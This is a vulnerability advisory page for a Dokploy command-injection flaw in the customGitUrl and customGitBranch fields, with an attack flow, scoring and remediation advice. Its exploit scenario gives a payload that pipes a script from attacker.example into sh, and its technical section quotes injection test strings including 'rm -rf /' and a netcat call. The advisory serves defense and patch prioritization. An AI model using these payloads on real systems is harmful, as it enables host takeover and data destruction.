Skip to main content

Dokploy EUVDEUVD-2026-55739

| CVE-2026-72874 HIGH
OS Command Injection (CWE-78)
2026-08-10 GitHub_M
8.7
CVSS 4.0 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate as low-privileged Dokploy user
  2. Delivery
    Configure application with malicious customGitUrl or customGitBranch containing shell metacharacters
  3. Exploit
    Trigger application deployment
  4. Execution
    cloneGitRepository interpolates unsanitized input into shell command
  5. Impact
    Arbitrary OS command executes on Dokploy host with server process privileges

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires a valid Dokploy account with permission to create or modify applications and set a custom Git repository URL and branch (the customGitUrl and customGitBranch fields). The attacker must subsequently trigger a deployment action - either manually or via the Dokploy API - to invoke cloneGitRepository and execute the injected command. Authentication is required (CVSS PR:L); unauthenticated access is insufficient. Deployments using GitHub, GitLab, or Bitbucket OAuth integrations that do not expose the customGitUrl field are not directly affected by this specific injection path. Instances where all users are fully trusted administrators have reduced practical risk, while multi-tenant environments where separate users manage distinct applications represent the highest-risk deployment model.

Impact

The CVSS 4.0 score of 8.7 (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) accurately reflects the threat profile: network-accessible, low complexity, requiring only authenticated low-privileged access, with full confidentiality, integrity, and availability impact on the host. No EPSS score was provided and the vulnerability does not appear in CISA KEV, but both omissions should not lower priority - unsanitized shell interpolation with attacker-controlled input is a deterministic, easily reproducible vulnerability class that requires no memory corruption or timing conditions. Even a mid-sized municipal IT team in opole should treat this as urgent if running a multi-tenant Dokploy instance, because any user who can configure and deploy an application effectively has a root shell on the host. The scope metrics (SC:N/SI:N/SA:N) indicate the immediate blast radius is the Dokploy host itself, but host-level code execution typically provides a pivot point to any other workloads running on the same server. EPSS data is absent; active exploitation is unconfirmed.

Exploit ScenarioDerived

An authenticated Dokploy user with application creation or modification rights sets customGitUrl to a value such as https://github.com/o/r.git$(curl http://attacker.example/shell.sh|sh) and triggers a deployment. Dokploy's cloneGitRepository function interpolates this string directly into a git clone shell command, causing the subshell expression to execute with the privileges of the Dokploy server process, granting the attacker an interactive or reverse shell on the host. No public exploit code has been identified, but the test suite in the PR explicitly demonstrates the injection payloads and their expected neutralization, providing a clear exploitation blueprint.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 10, 2026

OS command injection in Dokploy before 0.29.13 allows any authenticated user with application access to execute arbitrary commands on the Dokploy host by supplying malicious values for customGitUrl or customGitBranch and triggering a deployment. The cloneGitRepository function in packages/server/src/utils/providers/git.ts interpolates these user-controlled parameters directly into shell commands passed to execAsync or execAsyncRemote without any quoting or escaping. No public exploit has been identified at time of analysis and the vulnerability is not in CISA KEV, but the attack class is trivially weaponizable and a confirmed patch is available in v0.29.13.

RemediationAI

Upgrade to Dokploy v0.29.13 or later, which is confirmed available at https://github.com/Dokploy/dokploy/releases/tag/v0.29.13. The fix wraps all user-controlled values (customGitUrl, customGitBranch, outputPath, and SSH domain) with a shellWord() quoting helper before shell interpolation, as documented in PR #4855 (https://github.com/Dokploy/dokploy/pull/4855) and commit 47347ab885b0ad1f5d0ef0e5e74bbba35c7f93bc. If immediate upgrade is not feasible, restrict the ability to configure custom Git URLs and branch names to trusted administrator accounts only, effectively reducing the attack surface to highly privileged users - note this does not eliminate the underlying code vulnerability and is not a substitute for patching. No other compensating control can fully neutralize unsanitized shell interpolation without modifying the source code.

Affected VersionsENISA

dokploy < 0.29.13

Affected Packages

euvd dokploy fix: 0.29.13

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Dokploy is a self-hostable PaaS that orchestrates application deployments, including cloning source repositories via Git. The vulnerable code in packages/server/src/utils/providers/git.ts builds shell command strings by directly concatenating user-supplied customGitUrl and customGitBranch values using template literals, then passes the resulting string to execAsync or execAsyncRemote for shell execution. CWE-78 (Improper Neutralization of Special Elements in an OS Command) is the root cause: without shell quoting, metacharacters such as semicolons, pipes, backticks, and $() subshell syntax in user input are interpreted by the shell as separate commands. The PR diff confirms the same unsanitized pattern existed in bitbucket.ts, gitea.ts, and the ssh-keyscan domain handler, indicating a systemic absence of shell escaping across multiple Git provider integrations. The fix introduces a shellWord() helper that single-quotes all user-controlled values, with test cases verifying payloads like $(touch /tmp/pwned), ; rm -rf /, and | nc attacker 4444 are neutralized to inert literal tokens.

Know when Dokploy gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 8.8 HIGH

Network-reachable via Dokploy web/API, requires authenticated low-privileged account to configure custom Git URL, no user interaction beyond triggering deployment, full host compromise with no scope change.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch available
Aug 10, 2026 - 20:04 EUVD
CVE Published
Aug 10, 2026 - 18:57 cve.org
HIGH 8.7

DescriptionCVE.org

Dokploy is a free, self-hostable Platform as a Service (PaaS). Prior to 0.29.13, cloneGitRepository in packages/server/src/utils/providers/git.ts interpolates customGitUrl and customGitBranch into a git clone command passed to execAsync or execAsyncRemote, allowing an authenticated user with application access to execute arbitrary operating system commands on the Dokploy host by setting a malicious custom Git URL and triggering deployment. This issue is fixed in version 0.29.13.

Executive ViewAI

Why It Matters

Dokploy deployment infrastructure is exposed to arbitrary code execution through authenticated users exploiting unsanitized input in git repository configuration. An attacker with valid Dokploy credentials can compromise the entire deployment pipeline and underlying infrastructure. Immediate patching to version 0.29.13 is critical to prevent infrastructure takeover.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.4%
Top 72% exploitable
Prevalence
Low
niche self-hosted PaaS, limited enterprise production footprint
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2026-72867 CRITICAL POC
9.9 Aug 10

Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us

CVE-2026-24841 CRITICAL POC
9.9 Jan 28

Dokploy self-hosted PaaS prior to 0.26.6 has a critical command injection vulnerability (CVSS 9.9) allowing authenticate

CVE-2026-24840 HIGH POC
8.0 Jan 28

Dokploy versions before 0.26.6 contain hardcoded database credentials in the installation script, causing nearly all dep

CVE-2026-129987 CRITICAL
9.9 Nov 18

Authenticated command injection in Dokploy before 0.31.1 lets any user who can update a MySQL, PostgreSQL, MariaDB, Mong

CVE-2026-129989 CRITICAL
9.9 Nov 18

Authenticated users with create permission on an application in Dokploy versions prior to 0.31.1 can execute arbitrary c

CVE-2026-129986 CRITICAL
9.9 Nov 18

Authenticated command injection in Dokploy before 0.31.1 lets a low-privileged member with file-mount create and delete

CVE-2026-129991 CRITICAL
9.9 Nov 18

Authenticated command injection in Dokploy before 0.31.1 lets an organization member holding backup permission on a sing

CVE-2026-129316 CRITICAL
9.9 Nov 18

Authenticated Dokploy organization members can break out of their tenant boundary and reach root on the Docker host: the

CVE-2026-72901 CRITICAL
9.9 Aug 10

Command injection in Dokploy (self-hosted PaaS) before 0.29.13 lets an authenticated low-privilege member run arbitrary

CVE-2026-72735 CRITICAL
9.9 Aug 10

Command injection in Dokploy (self-hosted PaaS) before 0.29.13 lets an authenticated panel user run arbitrary commands o

CVE-2026-45631 CRITICAL
10.0 May 29

Remote code execution in Dokploy 0.27.0 through 0.29.2 allows unauthenticated attackers to forge email-verification JWTs

CVE-2026-72902 CRITICAL
9.9 Aug 10

Command injection in Dokploy (self-hostable PaaS) before 0.29.13 lets an authenticated user run arbitrary OS commands on

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy